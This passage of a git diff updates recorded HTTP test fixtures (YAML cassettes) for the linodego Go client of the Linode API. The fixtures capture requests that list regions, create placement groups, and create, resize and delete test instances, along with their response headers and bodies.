Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Cache-Control: + - max-age=0, no-cache, no-store + Content-Length: + - "40" + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 17:44:50 GMT + Pragma: + - no-cache + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Frame-Options: + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + status: 400 Bad Request + code: 400 + duration: "" +- request: + body: '{"type":"g6-standard-1","migration_type":"warm"}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542928/resize method: POST response: body: '{}' @@ -628,7 +785,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:51 GMT + - Fri, 31 May 2024 17:44:56 GMT Pragma: - no-cache Strict-Transport-Security: @@ -643,7 +800,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -661,7 +821,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836 + url: https://api.linode.com/v4beta/linode/instances/59542928 method: DELETE response: body: '{}' @@ -687,7 +847,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:51 GMT + - Fri, 31 May 2024 17:44:56 GMT Pragma: - no-cache Strict-Transport-Security: @@ -702,7 +862,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_withPG.yaml b/test/integration/fixtures/TestInstance_withPG.yaml new file mode 100644 index 000000000..bc7f63acc --- /dev/null +++ b/test/integration/fixtures/TestInstance_withPG.yaml @@ -0,0 +1,357 @@ +--- +version: 1 +interactions: +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/regions + method: GET + response: + body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", + "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", + "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", + "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": + "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": + "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", + "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": + "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", + "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", + "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud + Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": + "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": + "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 13}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=900 + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - '*' + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"label":"linodego-test-1718723007764225000","region":"us-east","affinity_type":"anti_affinity:local","is_strict":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups + method: POST + response: + body: '{"id": 4021, "label": "linodego-test-1718723007764225000", "region": "us-east", + "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "176" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-5skg99rf1a38","root_pass":"Jb\u00262S#q7072\u003cXj;imqjH7zr5n96A)OVLK8j\\Z31@{+Ei0R72jG]\u003cEGbr.5F/=-\u0026l","image":"linode/debian9","firewall_id":34216,"placement_group":{"id":4021},"booted":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances + method: POST + response: + body: '{"id": 25195351, "label": "go-test-ins-5skg99rf1a38", "group": "", "status": + "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["143.42.181.72"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "us-east", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": + "2e8c6f5e2c38ef3261c570ae22ac2b65435af20b", "has_user_data": false, "placement_group": + {"id": 4021, "label": "linodego-test-1718723007764225000", "affinity_type": + "anti_affinity:local", "is_strict": false}, "disk_encryption": "enabled", "lke_cluster_id": + null}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "10" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/25195351 + method: DELETE + response: + body: '{}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "2" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/4021 + method: DELETE + response: + body: '{}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "2" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestInstances_List.yaml b/test/integration/fixtures/TestInstances_List.yaml index 1cfa40121..ebe7711ec 100644 --- a/test/integration/fixtures/TestInstances_List.yaml +++ b/test/integration/fixtures/TestInstances_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", 